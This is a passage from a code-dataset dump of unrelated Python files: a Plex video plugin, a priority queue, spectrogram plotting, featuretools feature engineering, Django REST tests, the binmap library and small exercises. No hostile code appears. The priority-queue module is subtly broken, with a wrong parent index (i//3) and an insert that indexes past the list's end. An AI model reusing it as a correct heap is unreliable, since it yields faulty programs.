show_ids:\n\t\t\tcontinue\n\t\telse:\n\t\t\toc.add(DirectoryObject(key=Callback(ShowMenu, showName=showName, showId=showId), title=showName))\n\t\t\tshow_ids.append(showId)\n\toc.objects.sort(key = lambda obj: obj.title)\n\treturn oc\n\n####################################################################################################\n@route('/video/adultswim/shows')\ndef ShowMenu(showName, showId):\n\toc = ObjectContainer(title2=showName)\n\tep_list = XML.ElementFromURL(EPISODE_LIST % showId)\n\tfor episode in ep_list.xpath('//episode'):\n\t\ttitle = episode.get('title')\n\t\tshow = episode.get('collectionTitle')\n\t\tepIndex = episode.get('subEpisodeNumber')\n\t\tseason = episode.get('epiSeasonNumber')\n\t\ttry:\n\t\t epIndex = int(epIndex)\n\t\texcept:\n\t\t epIndex = None\n\t\ttry: \n\t\t season = int(season)\n\t\texcept:\n\t\t\tseason = None\n\t\tsummary = episode.xpath('./description')[0].text\n\t\tthumb = episode.get('thumbnailUrl')\n\t\tcontent_rating = episode.get('rating')\n\t\tduration = episode.get('duration')\n\t\ttry:\n\t\t duration = int(duration)\n\t\texcept:\n\t\t duration = None\n\t\tdate = episode.get('originalPremiereDate')\n\t\ttry:\n\t\t date = Datetime.ParseDate(date)\n\t\texcept:\n\t\t date = None\n\t\tepisodeUrl = episode.xpath('./episodeLink')[0].get('episodeUrl')\n\t\toc.add(EpisodeObject(url=episodeUrl, title=title, show=show, index=epIndex, season=season, summary=summary,\n\t\t\tcontent_rating=content_rating, duration=duration, thumb=Resource.ContentsOfURLWithFallback(url=thumb, fallback=R('icon-default.png'))))\n\treturn oc","sub_path":"Contents/Code/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"228839310","text":"'''\nCreated on Apr 23, 2015\n\n@author: Vinodh Periyasamy\n'''\n\n'''\nPriority Queue : It is a data structure to store a set of S elements each with an associated value called key\n\nSupporting following operations on the Set\n\nInsert (S, x)\n\nMaximum(S)\n\nExtract_Max(S)\n\nIncrease_Key(S,x,k) \n\n'''\n\nnegative_infinity = float(\"-inf\")\n\nfrom algos.sort.sort_functions import max_heapify\n\ndef heap_maximum(A):\n return A[0];\n\ndef extract_max(A):\n if len(A) < 1:\n raise ValueError('Heap is Empty!');\n \n max_val = A[0];\n A[0] = A[len(A)-1];\n # remove the element from the array\n del A[len(A)-1];\n \n max_heapify(A, 0, len(A)-1);\n return max_val, A;\n\ndef heap_increase_key(A,i,key):\n if A[i] > key:\n raise ValueError('key is less than the current key!');\n \n A[i] = key;\n \n while i > 0 and (A[i//3] < A[i]):\n temp = A[i//3]\n A[i//3] = A[i]\n A[i] = temp;\n i = i // 3\n \n return A; \n \ndef max_heap_insert(A, key):\n A[len(A)] = negative_infinity\n heap_increase_key(A, len(A), key);\n \n ","sub_path":"problems/algos/ds/priority_queue.py","file_name":"priority_queue.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"112006244","text":"# H_Li 用のデータ(データが大きすぎると面倒なので全体の傾向をつかむまではこのファイルを基に分析する\n# X Launcher を立ち上げていないと plt.figure() でエラーが出るので注意\n# デフォルトでは、matplotlibはTK GUIツールキットを使用します。\n# ツールキット(つまり、ファイルまたは文字列)を使用せずに画像をレンダリングするとき、\n# matplotlibは表示されないウィンドウをインスタンス化し、あらゆる種類の問題を引き起こします。\n# それを避けるために、Aggバックエンドを使用する必要があります。\nimport os\nimport numpy as np\nimport matplotlib\n# uncomment matplotlib.use('Agg') if you want to execute interactively.\n# matplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nimport loadpickle as lp\nfrom tqdm import tqdm\n# スペクトルを合成する\n# とりあえず全部作るか\n# ファイル名を睡眠段階によって分ける\n# 1秒ずつずらす\nfor time in tqdm(range(len(lp.Normal_data[0])-30)):\n # 30秒間のスペクトグラム作成\n fft_array = np.array([])\n for framespace in range(30):\n # 逆順で入れないと周波数が逆になっている\n fft_array=np.append(fft_array, lp.Normal_data[0][time+framespace].spectrum[::-1])\n # np.append しただけではデータが1次元に連なるだけなので,整形\n fft_array=fft_array.reshape(30,512)\n # スペクトログラムで縦軸周波数、横軸時間にするためにデータを転置\n fft_array = fft_array.T\n # ここからグラフ描画\n # グラフをオブジェクト指向で作成する。\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n # データをプロットする。\n im = ax1.imshow(fft_array,\n extent = [0, 30, 0, 512],\n aspect = 'auto',\n cmap = 'jet')\n # カラーバーを設定する。カラーバーとは画像の横に表示される色とスペクトル値の対応を表すもの\n cbar = fig.colorbar(im)\n cbar.set_label('SPL [dBA]')\n # 軸設定する。\n ax1.set_xlabel('Time [s]')\n ax1.set_ylabel('Frequency [Hz]')\n # スケールの設定をする。\n ax1.set_xticks(np.arange(0, 30, 5))\n ax1.set_yticks(np.arange(0, 600, 100))\n ax1.set_xlim(0, 30)\n ax1.set_ylim(0, 512)\n # ファイル名で睡眠段階を区別するためにラベルを作る\n # 30秒後のPSGを取ることに注意\n # rawdata では 0: N4, 1: N3, 2: N2, 3: N1, 4: REM, 5: WAKE\n SleepStage = str(lp.Normal_data[0][time+30].PSG)\n # figure/spectrum_2d に保存\n # 動作確認のためhogeフォルダに最初は保存\n dir_name = \"figure/SpectgrumWithColorbarForH_Li\"\n # dir_name = \"hoge\"\n file_name = f\"ss{SleepStage}_{time}.png\"\n path = os.path.join(dir_name,file_name)\n plt.savefig(path)\n plt.close()\n\n# 動画化は以下のコマンド(うまく動かない時があるから確認),連番の時はこっちの方が便利\n# ffmpeg -start_number 90 -i ss1_%d.png -pix_fmt yuv420p ss1_90.mp4\n# まとめて * の glob を使って動画化\n# ffmpeg -pattern_type glob -i 'ss1/*.png' -pix_fmt yuv420p movie/ss1All.mp4\n# RuntimeError: main thread is not in main loop\n# Tcl_AsyncDelete: async handler deleted by the wrong thread\n# 理由:tkinter がスレッドセーフじゃないことが原因みたい\n","sub_path":"MakeSpectgrum_for_1data.py","file_name":"MakeSpectgrum_for_1data.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"138423728","text":"# coding:utf-8\n\nimport gc\nimport re\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport featuretools as ft\nfrom featuretools.primitives.aggregation_primitives import Min\nfrom featuretools.primitives.aggregation_primitives import Max\nfrom featuretools.primitives.aggregation_primitives import Std\nfrom featuretools.primitives.aggregation_primitives import Sum\nfrom featuretools.primitives.aggregation_primitives import Count\nfrom featuretools.primitives.aggregation_primitives import Trend\nfrom featuretools.primitives.aggregation_primitives import Median\nfrom featuretools.primitives.aggregation_primitives import Mode\nfrom featuretools.primitives.aggregation_primitives import NUnique\nfrom featuretools.primitives.aggregation_primitives import PercentTrue\nfrom featuretools.primitives.aggregation_primitives import AvgTimeBetween\nnp.random.seed(7)\npd.set_option(\"display.max_rows\", None)\npd.set_option(\"display.max_columns\", None)\n\n\nclass FeatureToolsTestV3(object):\n def __init__(self, *, input_path, output_path):\n # init\n self.__input_path, self.__output_path = input_path, output_path\n\n # data read\n self.__test = None\n\n # data prepare\n self.__test_predi = [None for _ in range(2)]\n self.__test_left, self.__test_right = [None for _ in range(2)]\n\n # dfs run\n self.__es = None\n self.__test_boolean_feature_columns = None\n self.__test_datetime_feature_columns = None\n self.__test_categorical_feature_columns = None\n self.__test_feature_variable_types = dict()\n\n self.__test_visitor_feature = None\n\n def data_read(self):\n self.__test = pd.read_csv(\n os.path.join(self.__input_path, \"test_session_feature.csv\"),\n dtype={\"fullVisitorId\": str}\n )\n\n def data_prepare(self):\n self.__test_predi = self.__test[[col for col in self.__test.columns if re.match(r\"^Pred\", col)] + [\"fullVisitorId\"]].copy()\n self.__test_predi = self.__test_predi.drop_duplicates()\n\n self.__test_left = self.__test_predi.copy()\n self.__test_right = self.__test[list(set(self.__test.columns).difference(self.__test_left.columns)) + [\"fullVisitorId\"]].copy()\n\n self.__test_right[\"totals.bounces\"] = self.__test_right[\"totals.bounces\"].fillna(0.0)\n self.__test_right[\"totals.newVisits\"] = self.__test_right[\"totals.newVisits\"].fillna(0.0)\n self.__test_right[\"trafficSource.isTrueDirect\"] = self.__test_right[\"trafficSource.isTrueDirect\"].fillna(0.0)\n self.__test_right[\"trafficSource.adwordsClickInfo.isVideoAd\"] = self.__test_right[\"trafficSource.adwordsClickInfo.isVideoAd\"].fillna(1.0)\n\n del self.__test_predi, self.__test\n gc.collect()\n\n def dfs_run(self):\n self.__test_boolean_feature_columns = [\n \"totals.bounces\",\n \"totals.newVisits\",\n \"trafficSource.isTrueDirect\",\n \"trafficSource.adwordsClickInfo.isVideoAd\"\n ]\n self.__test_datetime_feature_columns = [\n \"visitStartTime\"\n ]\n self.__test_categorical_feature_columns = [\n \"NEW_year\",\n \"NEW_month\",\n \"NEW_weekday\",\n \"NEW_day\",\n \"NEW_hour\",\n \"NEW_device\",\n \"NEW_geoNetwork\",\n \"channelGrouping\",\n \"geoNetwork.networkDomain\",\n \"trafficSource.source\",\n \"trafficSource.medium\",\n \"trafficSource.referralPath\",\n \"trafficSource.keyword\",\n \"trafficSource.campaign\",\n \"trafficSource.adwordsClickInfo.adNetworkType\",\n \"trafficSource.adContent\",\n \"trafficSource.adwordsClickInfo.slot\",\n \"trafficSource.adwordsClickInfo.page\"\n ]\n\n for column in self.__test_boolean_feature_columns:\n self.__test_feature_variable_types[column] = ft.variable_types.Boolean\n\n for column in self.__test_datetime_feature_columns:\n self.__test_feature_variable_types[column] = ft.variable_types.Datetime\n\n for column in self.__test_categorical_feature_columns:\n self.__test_feature_variable_types[column] = ft.variable_types.Categorical\n\n self.__es = ft.EntitySet(id=\"left\")\n self.__es = self.__es.entity_from_dataframe(\n entity_id=\"left\",\n dataframe=self.__test_left,\n index=\"fullVisitorId\"\n )\n self.__es = self.__es.entity_from_dataframe(\n entity_id=\"right\",\n dataframe=self.__test_right,\n index=\"id\",\n make_index=True,\n time_index=\"visitStartTime\",\n variable_types=self.__test_feature_variable_types\n )\n self.__es = self.__es.add_relationship(\n ft.Relationship(\n self.__es[\"left\"][\"fullVisitorId\"],\n self.__es[\"right\"][\"fullVisitorId\"]\n )\n )\n\n self.__test_visitor_feature, _ = ft.dfs(\n entityset=self.__es,\n target_entity=\"left\",\n agg_primitives=[Sum, Std, Max, Min, Median, Count, PercentTrue, Trend, AvgTimeBetween, Mode, NUnique],\n trans_primitives=[],\n verbose=True,\n chunk_size=400\n )\n\n def data_write(self):\n self.__test_visitor_feature.to_csv(os.path.join(self.__output_path, \"test_visitor_feature.csv\"), index=True)\n\n\nif __name__ == \"__main__\":\n ftt = FeatureToolsTestV3(\n input_path=\"E:\\\\Kaggle\\\\Google Analytics Customer Revenue Prediction\\\\20181013\\\\StackingSessionLevel\",\n output_path=\"E:\\\\Kaggle\\\\Google Analytics Customer Revenue Prediction\\\\20181013\\\\FeatureToolsV3\"\n )\n ftt.data_read()\n ftt.data_prepare()\n ftt.dfs_run()\n ftt.data_write()","sub_path":"20181013/FeatureToolsV3/FeatureToolsTestV3.py","file_name":"FeatureToolsTestV3.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"535455053","text":"#!/usr/bin/env python3\nimport sys\n\nsketch_file = sys.argv[1]\nstain_file = sys.argv[2]\nprofile_file = sys.argv[3]\n\noutput_stain = \"Not_in_list\"\noutput_species = \"taxa\"\ngenus = \"Multiple\"\n\nwith open(sketch_file, \"r\") as sketch:\n sketch_lines = sketch.readlines()\n\n genus_one_line = sketch_lines[3]\n genus_one = genus_one_line.split(\"\\t\")[11].split(\" \")[0]\n species_one = genus_one_line.split(\"\\t\")[11].split(\" \")[1]\n\n genus_two_line = sketch_lines[4]\n genus_two = genus_two_line.split(\"\\t\")[11].split(\" \")[0]\n\n if len(genus_two) == 0 or genus_one == genus_two:\n genus = genus_one\n output_species = species_one.rstrip()\n with open(stain_file, \"r\") as stain:\n for line in stain:\n if line.split(\"\\t\")[0] == genus:\n output_stain = line.rstrip().split(\"\\t\")[1]\n else:\n output_stain = \"Contaminated\"\nprint(output_stain+\"\\t\"+genus+\"\\t\"+output_species)\n\nwith open(profile_file, \"w\") as f:\n f.writelines(output_stain + \"\\t\" + genus + \"\\t\" + output_species)\n\n","sub_path":"bin/sendsketch_to_prokka.py","file_name":"sendsketch_to_prokka.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"194299690","text":"# use 4layer version for better visual effect\nimport cv2\nimport numpy as np\n\n\nz = np.load('style_4layer.npz')\nw_conv1 = z['conv1.weight']\nb_conv1 = z['conv1.bias']\nw_conv2 = z['conv2.weight']\nb_conv2 = z['conv2.bias']\nw_conv3 = z['conv3.weight']\nb_conv3 = z['conv3.bias']\nw_conv4 = z['conv4.weight']\nb_conv4 = z['conv4.bias']\nconv_param_x3 = {'stride': 1, 'pad': 1}\nconv_param_x1 = {'stride': 1, 'pad': 0}\n\nfrom cs231n.fast_layers import conv_forward_im2col\nconv_forward_fast = conv_forward_im2col\n\ndef forward(im):\n x = conv_forward_fast(im, w_conv1, b_conv1, conv_param=conv_param_x3)\n x = np.maximum(x, 0)\n x = conv_forward_fast(x, w_conv2, b_conv2, conv_param=conv_param_x1)\n x = np.maximum(x, 0)\n x = conv_forward_fast(x, w_conv3, b_conv3, conv_param=conv_param_x1)\n x = np.maximum(x, 0)\n x = conv_forward_fast(x, w_conv4, b_conv4, conv_param=conv_param_x3)\n oui = np.maximum(x + im, 0)\n return oui\n\nwhile True:\n cap = cv2.VideoCapture(0)\n if cap.isOpened():\n break\n\n# main loop here\nwhile True:\n # read in the frame\n ret, frame = cap.read()\n # preprocess the frame\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame = cv2.resize(frame, (128, 128))\n frame = np.array(frame, dtype=np.float32)\n frame = frame[np.newaxis, :, :, :].transpose(0, 3, 1, 2)\n \n oui = forward(frame)\n ou = oui.reshape((3, 128, 128))\n ou = ou.transpose(1, 2, 0)\n ou = np.array(ou, dtype=np.uint8)\n ou = cv2.resize(ou, (256, 256))\n cv2.imshow('frame', ou)\n if cv2.waitKey(1) == ord('q'):\n break\n\n\ncap.release()\ncv2.destroyAllWindows()\n \n ","sub_path":"port2chip/video_style_4layer.py","file_name":"video_style_4layer.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563340200","text":"from rest_framework.test import APITestCase\nfrom rest_framework import status\nfrom django.urls import reverse\nimport os\nfrom django.forms.models import model_to_dict\nfrom PIL import Image\nimport shutil\nfrom django.contrib.auth.models import User\n\nfrom .others import generate_image_file\nfrom .others import get_testing_media_path\nfrom ..models import Images\n\n\nclass Test_one_image(APITestCase):\n def setUp(self):\n self.url_name_one = \"fileupload_one\"\n # URL for posting images\n self.url_upload = reverse(\"fileupload\")\n self.user1 = User.objects.create_user(\n username=\"user1\", email=\"user1@email.com\", password=\"Test123456\"\n )\n\n self.user2 = User.objects.create_user(\n username=\"user2\", email=\"user2@email.com\", password=\"Test123456\"\n )\n # Folder for saving test images\n self.test_pic_folder = get_testing_media_path()\n\n # Upload 1 image for user1\n self.client.force_authenticate(self.user1)\n img_file = generate_image_file(\"test\")\n data = {\"img_name\": \"test\", \"uploaded_image\": img_file}\n response = self.client.post(self.url_upload, data, format=\"multipart\")\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n # Upload 2 images for user2\n self.client.force_authenticate(self.user2)\n for upload in range(2):\n img_file = generate_image_file(f\"test{upload}\")\n data = {\"img_name\": f\"test{str(upload)}\", \"uploaded_image\": img_file}\n response = self.client.post(self.url_upload, data, format=\"multipart\")\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n def test_get_owner_image(self):\n \"\"\"\n - get image_id for specific user\n - user2 get image which owner is user1 (not allowed)\n \"\"\"\n\n # user1 is owner of image_id 1\n # user2 is owner of image ids (2,3)\n for image_id in range(1, 4):\n url = reverse(self.url_name_one, args=(image_id,))\n if image_id == 1:\n self.client.force_authenticate(self.user1)\n else:\n self.client.force_authenticate(self.user2)\n\n response = self.client.get(url, format=\"json\")\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n if image_id == 1:\n self.assertEqual(response.data[\"owner\"], \"user1\")\n else:\n self.assertEqual(response.data[\"owner\"], \"user2\")\n\n # user2 try to get image_id 1 which is owner user1\n url = reverse(self.url_name_one, args=(1,))\n response = self.client.get(url, format=\"json\")\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n def test_edit_image_instance(self):\n \"\"\"\n - edit image_id 1,owner user1\n - edit to {'img_name':'photo_user1','img_description':'photo of user1',\n 'favourite':True,'width':700,'height':500}\n - check if all fields was successfully edited\n - check if image was resized to a new edited sizes\n \"\"\"\n self.client.force_authenticate(self.user1)\n data = {\n \"img_name\": \"photo_user1\",\n \"img_description\": \"photo of user1\",\n \"favourite\": True,\n \"width\": 700,\n \"height\": 500,\n \"share_user\": [],\n }\n url = reverse(self.url_name_one, args=(1,))\n response = self.client.put(url, data, format=\"multipart\")\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # Get edited object, convert to dict and compare with inputs\n obj = model_to_dict(Images.objects.get(id=1))\n for field, edited_data in data.items():\n self.assertEqual(edited_data, obj[field])\n # Check if image was edited to a new input\n edited_img = Image.open(self.test_pic_folder + \"/test.png\")\n self.assertEqual(edited_img.size, (700, 500))\n\n def tearDown(self):\n \"\"\"\n Delete folder with testing pictures saved in 'media\\testing_pics'\n \"\"\"\n shutil.rmtree(self.test_pic_folder)\n","sub_path":"api/img_upload_api/tests/test_one_image.py","file_name":"test_one_image.py","file_ext":"py","file_size_in_byte":4127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"589560165","text":"num = 10\r\nstr = \"aaa\"\r\n\r\ndef cnt(x):\r\n for i in range(1, x+1):\r\n print(i, end=\", \")\r\n\r\ndef makeList():\r\n list1 = []\r\n print(\"숫자 5개를 입력하시오\")\r\n for i in range(0, 5):\r\n list1.append(int(input(\"num: \")))\r\n return list1\r\n\r\ndef makeSum(list1):\r\n sum = 0\r\n for i in list1:\r\n sum += i\r\n return sum\r\n\r\n \r\n","sub_path":"myModule1.py","file_name":"myModule1.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"71703664","text":"import numpy as np\nfrom collections import Counter\n\ndef string_to_alphabet_indices(string):\n '''Finds the alphabet used in string and returns it along with an integer\n array that re-enodes each character in the string to its integer order in\n the alphabet'''\n counter = Counter(string)\n count_pairs = sorted(counter.items(), key=lambda x: -x[1])\n alphabet, _ = list(zip(*count_pairs))\n alphabet = np.array(alphabet)\n alpha_ids = dict(zip(alphabet, range(len(alphabet))))\n indices = np.array(map(alpha_ids.get, string))\n return alphabet, indices\n\ndef file_to_datasets(filename, valid_fraction = .05, test_fraction = .05,\n to_lower = True):\n\n with open(filename, 'r') as data_file:\n text = data_file.read()\n if to_lower:\n text = text.lower()\n\n alphabet, text_inds = string_to_alphabet_indices(text)\n\n valid_start = np.floor((1 - valid_fraction - test_fraction)*text_inds.size)\n test_start = np.floor((1 - test_fraction)*text_inds.size)\n\n train_data = text_inds[0:valid_start]\n valid_data = text_inds[valid_start:test_start]\n test_data = text_inds[test_start:]\n\n return train_data, valid_data, test_data, alphabet\n\n\ndef char_to_onehot(char, alphabet):\n alpha_id = np.where(alphabet == char)[0][0]\n return id_to_onehot(alpha_id, alphabet)\n\ndef id_to_onehot(alpha_id, alphabet):\n input_val = np.zeros([1, len(alphabet)], dtype=np.float32)\n input_val[0, alpha_id] = 1\n return input_val\n","sub_path":"edge/util/text_processing.py","file_name":"text_processing.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"527032731","text":"import dataclasses\nimport struct\nfrom enum import IntEnum\nfrom typing import Dict, Tuple, Type, TypeVar, Union, get_type_hints\n\nfrom binmap import types\n\nT = TypeVar(\"T\")\n\n\nclass BaseDescriptor:\n \"\"\"Base class for all descriptors\n\n :param name: Variable name\"\"\"\n\n def __set_name__(self, obj, name):\n self.name = name\n\n def __init__(self, name=\"\"):\n self.name = name\n\n\nclass BinField(BaseDescriptor):\n \"\"\"BinField descriptor tries to pack it into a struct before setting the\n value as a bounds checker\"\"\"\n\n def __get__(self, obj, owner):\n return obj.__dict__[self.name]\n\n def __set__(self, obj, value):\n type_hints = get_type_hints(obj)\n struct.pack(datatypemapping[type_hints[self.name]][1], value)\n obj.__dict__[self.name] = value\n\n\nclass PaddingField(BaseDescriptor):\n \"\"\"PaddingField descriptor is used to \"pad\" data with values unused for real data\"\"\"\n\n def __get__(self, obj, owner):\n \"\"\"Getting values fails\"\"\"\n raise AttributeError(f\"Padding ({self.name}) is not readable\")\n\n def __set__(self, obj, value):\n \"\"\"Setting values does nothing\"\"\"\n pass\n\n\nclass EnumField(BinField):\n \"\"\"EnumField descriptor uses \"enum\" to map to and from strings. Accepts\n both strings and values when setting. Only values that has a corresponding\n string is allowed.\"\"\"\n\n def __set__(self, obj, value):\n datafieldsmap = {f.name: f for f in dataclasses.fields(obj)}\n if type(value) is str:\n datafieldsmap[self.name].metadata[\"enum\"][value]\n else:\n datafieldsmap[self.name].metadata[\"enum\"](value)\n obj.__dict__[self.name] = value\n\n\nclass ConstField(BinField):\n \"\"\"ConstField descriptor keeps it's value\"\"\"\n\n def __set__(self, obj, value):\n if self.name in obj.__dict__:\n raise AttributeError(f\"{self.name} is a constant\")\n else:\n obj.__dict__[self.name] = value\n\n\ndatatypemapping: Dict[type, Tuple[Type[BaseDescriptor], str]] = {\n types.char: (BinField, \"c\"),\n types.signedchar: (BinField, \"b\"),\n types.unsignedchar: (BinField, \"B\"),\n types.boolean: (BinField, \"?\"),\n bool: (BinField, \"?\"),\n types.short: (BinField, \"h\"),\n types.unsignedshort: (BinField, \"H\"),\n types.integer: (BinField, \"i\"),\n int: (BinField, \"i\"),\n types.unsignedinteger: (BinField, \"I\"),\n types.long: (BinField, \"l\"),\n types.unsignedlong: (BinField, \"L\"),\n types.longlong: (BinField, \"q\"),\n types.unsignedlonglong: (BinField, \"Q\"),\n types.halffloat: (BinField, \"e\"),\n types.floating: (BinField, \"f\"),\n float: (BinField, \"f\"),\n types.double: (BinField, \"d\"),\n types.string: (BinField, \"s\"),\n str: (BinField, \"s\"),\n types.pascalstring: (BinField, \"p\"),\n types.pad: (PaddingField, \"x\"),\n}\n\n\ndef padding(length: int = 1) -> dataclasses.Field:\n \"\"\"\n Field generator function for padding elements\n\n :param int lenght: Number of bytes of padded field\n :return: dataclass field\n \"\"\"\n return dataclasses.field(default=length, repr=False, metadata={\"padding\": True})\n\n\ndef constant(value: Union[int, float, str]) -> dataclasses.Field:\n \"\"\"\n Field generator function for constant elements\n\n :param value: Constant value for the field.\n :return: dataclass field\n \"\"\"\n return dataclasses.field(default=value, init=False, metadata={\"constant\": True})\n\n\ndef stringfield(\n length: int = 1, default: bytes = b\"\", fillchar: bytes = b\" \"\n) -> dataclasses.Field:\n \"\"\"\n Field generator function for string fields.\n\n :param int lenght: lengt of the string.\n :param bytes default: default value of the string\n :param bytes fillchar: char to pad the string with\n :return: dataclass field\n \"\"\"\n if default == b\"\":\n _default = b\"\\x00\" * length\n else:\n _default = bytes(f\"{default:{fillchar}<{length}}\")\n return dataclasses.field(default=_default, metadata={\"length\": length})\n\n\ndef enumfield(enumclass: IntEnum, default: IntEnum = None) -> dataclasses.Field:\n \"\"\"\n Field generator function for enum field\n\n :param IntEnum enumclass: Class with enums.\n :param IntEnum default: default value\n :return: dataclass field\n \"\"\"\n return dataclasses.field(default=default, metadata={\"enum\": enumclass})\n\n\n@dataclasses.dataclass\nclass BinmapDataclass:\n \"\"\"\n Dataclass that does the converting to and from binary data\n \"\"\"\n\n _formatstring = \"\"\n _binarydata: dataclasses.InitVar[bytes] = b\"\"\n\n def __init_subclass__(cls, byteorder: str = \">\"):\n \"\"\"\n Subclass initiator. This makes the inheriting class a dataclass.\n :param str byteorder: byteorder for binary data\n \"\"\"\n dataclasses.dataclass(cls)\n type_hints = get_type_hints(cls)\n\n cls._datafields = []\n cls._datafieldsmap = {}\n cls._formatstring = byteorder\n\n for field_ in dataclasses.fields(cls):\n _base, _type = datatypemapping[type_hints[field_.name]]\n if \"constant\" in field_.metadata:\n _base = ConstField\n elif \"enum\" in field_.metadata:\n _base = EnumField\n setattr(cls, field_.name, _base(name=field_.name))\n if type_hints[field_.name] is types.pad:\n _type = field_.default * _type\n if type_hints[field_.name] in (types.string, types.pascalstring, str):\n _type = str(field_.metadata[\"length\"]) + _type\n cls._formatstring += _type\n\n def __bytes__(self):\n \"\"\"\n Packs the class' fields to a binary string\n :return: Binary string packed.\n :rtype: bytes\n \"\"\"\n return struct.pack(\n # TODO: use datclass.fields\n self._formatstring,\n *(v for k, v in self.__dict__.items() if k not in [\"_formatstring\"]),\n )\n\n def __post_init__(self, _binarydata: bytes):\n \"\"\"\n Initialises fields from a binary string\n :param bytes _binarydata: Binary string that will be unpacked.\n \"\"\"\n if _binarydata != b\"\":\n self.frombytes(_binarydata)\n # Kludgy hack to keep order\n for f in dataclasses.fields(self):\n self._datafieldsmap.update({f.name: f})\n if \"padding\" in f.metadata:\n continue\n if \"constant\" in f.metadata:\n self.__dict__.update({f.name: f.default})\n else:\n val = getattr(self, f.name)\n del self.__dict__[f.name]\n self.__dict__.update({f.name: val})\n self._datafields.append(f.name)\n\n def frombytes(self, value: bytes):\n \"\"\"\n Unpacks value to each field\n :param bytes value: binary string to unpack\n \"\"\"\n args = struct.unpack(self._formatstring, value)\n for arg, name in zip(args, self._datafields):\n if \"constant\" in self._datafieldsmap[name].metadata:\n if arg != self._datafieldsmap[name].default:\n raise ValueError(\"Constant doesn't match binary data\")\n\n setattr(self, name, arg)\n","sub_path":"binmap/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237845547","text":"#070 - Estatísticas em produtos\ntotal_compra_ = cont_prod_ = cont_menor_= 0\nwhile True:\n cont_menor_ += 1\n produto_ = str(input('Nome do produto: '))\n preco_ = float(input('Preço: R$'))\n total_compra_ += preco_\n if preco_ > 1000:\n cont_prod_ += 1\n if cont_menor_ == 1:\n menor_preco = preco_\n else:\n if preco_ < menor_preco:\n menor_preco = preco_\n menor_prod = produto_\n request_ = ' '\n while request_ not in 'SN':\n request_ = str(input('Deseja continuar? [S/N] ')).upper().strip()[0]\n if request_ == 'N':\n print('FIM PROGRAMA')\n break\nprint(f'O total da compra foi de R${total_compra_:.2f}')\nprint(f'Temos {cont_prod_} produtos custando mais de R$1000.00')\nprint(f'O produto mais barato foi {menor_prod} custando R${menor_preco:.2f}')\n","sub_path":"ex070.py","file_name":"ex070.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"389070231","text":"# Write a class to hold player information, e.g. what room they are in\n# currently.\n\nfrom item import Item\n\nclass Player:\n def __init__(self, name, current_room, items=[Item(\"Pet Rock\", \"You never leave home without your lucky pet rock!\")]):\n self.name = name\n self.current_room = current_room\n self.items = items","sub_path":"src/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"254200347","text":"#=============================================================#\n# == Copyright (C) 2017 Brendan A. Smith, Alexey V. Akimov == #\n#=============================================================#\nimport sys\nimport math\nimport generic_operations_2D\n\n\ndef compute_ETHD_pot_force(q, w, m, approx, model):\n#Returns the potential energy and force for the ETHD model, depending on the model and approximation chosen by the user.\n#Params in: q = list of trajectory positions\n# m = mass\n# approx = current approximation, ex) H = h0 or H = h0 + h1\n# model = the potential chosen by the user. Ex) 1 - cubic\n\n N = len(q)\n pot = [ [0.0,0.0], [0.0,0.0] ]\n f = []\n\n if model == 1:\n pot, f = generic_operations_2D.harmonic_oscillator(q,m,w)\n if model == 2:\n pot, f = generic_operations_2D.double_well_potential(q)\n\n if approx == 2:\n \n # Computing H1\n # For a single dof, H1 = [ hbar^2 / 8.0*m*s_(dof)^2 ]\n # Where dof = alpha, s_alpha ^ 2 = (1/N) * SUM (q_alpha_i - q_alpha_avg)^2 \n \n sumq_1 = 0.0\n sumq_2 = 0.0\n\n sumqq_1 = 0.0\n sumqq_2 = 0.0\n\n m_avg = 2000.0\n for i in range(N):\n \n # 1st dof\n sumq_1 = sumq_1 + q[i][0]\n sumqq_1 = sumqq_1 + q[i][0]*q[i][0]\n\n # 2nd dof\n sumq_2 = sumq_2 + q[i][1]\n sumqq_2 = sumqq_2 + q[i][1]*q[i][1]\n \n # Method 1 (Should be equivalent to Method 2, simply a different way of expressing s^2 )\n #\"\"\"\n q_1_avg = sumq_1/float(N)\n q_2_avg = sumq_2/float(N)\n\n s2_1 = (1.0/float(N))*sumqq_1 - (1.0/(float(N)*float(N)))*sumq_1*sumq_1\n s2_2 = (1.0/float(N))*sumqq_2 - (1.0/(float(N)*float(N)))*sumq_2*sumq_2\n\n s4_1 = s2_1*s2_1\n s4_2 = s2_2*s2_2\n\n pot[1][0] = pot[1][0] + 